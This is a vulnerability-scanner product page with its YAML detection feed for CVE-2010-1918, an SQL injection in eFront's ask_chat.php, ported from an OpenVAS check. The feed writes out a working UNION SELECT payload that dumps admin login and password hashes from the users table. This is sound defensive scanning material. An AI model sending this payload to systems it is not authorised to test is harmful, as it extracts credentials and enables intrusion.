eFront — 1 vulnerability check

noctis ships 1 vulnerability check for eFront, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

eFront SQL Injection (ask_chat.php chatrooms_ID parameter)

CVECVE-2010-1918
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/efront/CVE-2010-1918.yaml

Detects CVE-2010-1918 by sending a UNION SELECT payload to the ask_chat.php endpoint and confirming, on a 200 response, both the reflected injected query and the admin.<password> concat result in the response.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /ask_chat.php?chatrooms_ID=0%20UNION%20select%20concat%28login,0x2e,password%29,1,1,1…
  2. Checks resp.banner for HTTP/1\.[01] 200
  3. Checks resp.banner for admin\.[0-9a-f]{6}
  4. Checks resp.banner for 0 UNION select concat\(login,0x2e,password\) → finding QoD 75: eFront SQLi confirmed — UNION SELECT on ask_chat.php chatrooms_ID returned the admin.<password> concat result in a 200 response at …:…

References:

Feed source — tests/vulnerabilities/efront/CVE-2010-1918.yaml
# eFront — 'ask_chat.php' SQL Injection (CVE-2010-1918)
#
# eFront is prone to an SQL injection (SQLi) vulnerability. The `chatrooms_ID`
# parameter of ask_chat.php is used in an SQL query without sanitisation. An
# unauthenticated attacker injects a UNION SELECT concat(login,0x2e,password)
# that dumps credentials into the response, confirming injection.
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_efront_sql_inj_vuln.nasl
# (GPL-2.0-only). The NASL confirms with check_header:TRUE (HTTP 200), the
# reflected injected query, and extra_check "admin" (the concat result
# admin.<password> returned by the UNION). All three are reproduced here so a
# server that merely reflects the decoded request URI does not false-positive.
#
# The payload carries URL-encoded tokens (`%20`, `%28`, `%29`) that reqwest
# would normalise, so the request is sent verbatim over tcp_connect (HTTP/1.0)
# and the result is matched on resp.banner.
uid: ad986014-9906-46d5-8e30-24a2516fd283
name: "eFront SQL Injection (ask_chat.php chatrooms_ID parameter)"
description: |
  Detects CVE-2010-1918 by sending a UNION SELECT payload to the ask_chat.php endpoint
  and confirming, on a 200 response, both the reflected injected query and the
  admin.<password> concat result in the response.
cves: [CVE-2010-1918]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [efront, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-1918"
  - "OpenVAS/Greenbone NASL 2010/gb_efront_sql_inj_vuln.nasl (GPL-2.0-only)"

steps:
  - id: sqli-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /ask_chat.php?chatrooms_ID=0%20UNION%20select%20concat%28login,0x2e,password%29,1,1,1,1%20from%20users%20--%20x HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp

  # NASL check_header:TRUE — require HTTP 200.
  - id: status-check
    action: match
    source: resp.banner
    pattern: "HTTP/1\\.[01] 200"
    store_as: st

  # NASL extra_check "admin" — the concat(login,0x2e,password) UNION result,
  # i.e. admin.<password hash>. A generic URL reflector cannot produce this.
  - id: admin-check
    action: match
    source: resp.banner
    pattern: "admin\\.[0-9a-f]{6}"
    store_as: adm

  # Primary: the reflected injected query, gated on 200 + the admin result.
  - id: confirm-sqli
    action: match
    source: resp.banner
    pattern: '0 UNION select concat\(login,0x2e,password\)'
    on_match:
      condition: "st.matched && adm.matched"
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "eFront SQLi confirmed — UNION SELECT on ask_chat.php chatrooms_ID returned the admin.<password> concat result in a 200 response at {{target_host}}:{{port}}"

View these feeds on GitHub